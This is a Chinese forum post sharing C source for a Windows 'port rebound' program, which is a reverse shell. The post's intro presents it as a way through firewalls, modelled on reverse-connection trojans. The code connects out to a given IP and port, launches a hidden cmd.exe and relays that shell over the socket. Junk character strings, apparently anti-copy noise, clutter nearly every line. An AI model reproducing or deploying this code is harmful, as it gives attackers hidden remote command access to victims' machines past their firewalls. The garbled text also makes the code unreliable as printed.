Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 'J(rIH3U  
%5<uQc9  
/* ============================== ]hY'A>4Uq  
Rebound port in Windows NT ?;NC(Z,  
By wind,2006/7 9UlR fl  
===============================*/ G3O`r8oZcJ  
#include Gs^hqT;h  
#include Wj0=cIb  
%Wy$m?gD  
#pragma comment(lib,"wsock32.lib") Cx(|ZD^  
"%$jl0i_c  
void OutputShell(); B3 fKb#T  
SOCKET sClient; !DgN@P.o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o%dKi]  
D"kss5>w  
void main(int argc,char **argv) #6O<!{PH6  
{ 1#rcxUSi
 
WSADATA stWsaData; .bcoH  
int nRet; Y*0AS|r!  
SOCKADDR_IN stSaiClient,stSaiServer; t"[xx_i  
[Q(FBoI|  
if(argc != 3) dqd:V$o  
{ m$b5Vqq  
printf("Useage:\n\rRebound DestIP DestPort\n"); LLp/ SWe  
return; /[ _aw&W}Z  
} ]o}g~Xn  
:
E ]Ys  
WSAStartup(MAKEWORD(2,2),&stWsaData); hKa<9>MI`  
8nCw1  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^5j+O.zgN  
zJC!MeN  
stSaiClient.sin_family = AF_INET; CJ+/j=i;~c  
stSaiClient.sin_port = htons(0); iZsZSW \  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 39 D!e&  
Cu*+E%P9`  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5P=3.Mk  
{ LIzdP,^pc  
printf("Bind Socket Failed!\n"); @ol}~&"  
return; ?#N: a  
} P`ZzrN  
@PH`Wn#S  
stSaiServer.sin_family = AF_INET; 1<gY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U$zd3a_(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); er<yB#/;-  
S$O+p&!X  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n=t50/jV3=  
{ q [}
<LU  
printf("Connect Error!"); S5o\joc  
return; eBUexxBY  
} rw:z|-r  
OutputShell(); ^qB a~  
} clhmpu  
Ep>} S  
void OutputShell() dJYsn+  
{ l', +l{\Z  
char szBuff[1024]; :#_Ne?\a@  
SECURITY_ATTRIBUTES stSecurityAttributes; j!1 :+H_L  
OSVERSIONINFO stOsversionInfo; S($8_u$U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AvP$>Alc  
STARTUPINFO stStartupInfo; 3C[#_&_l  
char *szShell; f\p#3IwwH  
PROCESS_INFORMATION stProcessInformation; }%^N9AA8  
unsigned long lBytesRead; dWc'RwL  
)P13AfK  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j p"hbV  
\kN?7b^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .wH`9aq;5@  
stSecurityAttributes.lpSecurityDescriptor = 0; <'y}y}%  
stSecurityAttributes.bInheritHandle = TRUE; G_ -8*.  
xh6Yv%\@  
3?%?J^/a  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]1Wh3C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w.7pD  
9w)W|9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -BV8,1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v3p'*81;  
stStartupInfo.wShowWindow = SW_HIDE; ?/@U#Qy  
stStartupInfo.hStdInput = hReadPipe; rXh*nC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r`dQ<U,  
e4h9rF{Cxn  
GetVersionEx(&stOsversionInfo); [I~&vLTe  
RIm8PV;N  
switch(stOsversionInfo.dwPlatformId) {l0[`"EF  
{ :P
'M|U  
case 1: Z]~) ->=}  
szShell = "command.com"; b((>?=hh  
break; Jn:h;|9w  
default: S4ys)!V1V  
szShell = "cmd.exe"; =Ch^;Wyt  
break; |Eyn0\OA  
} uM"_3je{W2  
DXI{ jalL  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &~Hx!]uc  
pie8 3Wy>  
send(sClient,szMsg,77,0); !"d"3coQ?  
while(1) SH1S
_EQ<  
{ FF5|qCV/z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IGnP#@`5]  
if(lBytesRead) m;4qs#qCg?  
{ n^lr7(!6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); luWr.<1  
send(sClient,szBuff,lBytesRead,0); 1m~-q4D)V  
} W9D~:>^YP  
else <5 )F9.$  
{ {D$5M/$  
lBytesRead=recv(sClient,szBuff,1024,0); /:Q  
if(lBytesRead<=0) break; <jAn~=Uq[,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Of}dsav   
} mu*RXLai  
} jk\z-hd
 
0h-'TJg*sk  
return; fxQ4kiI  
}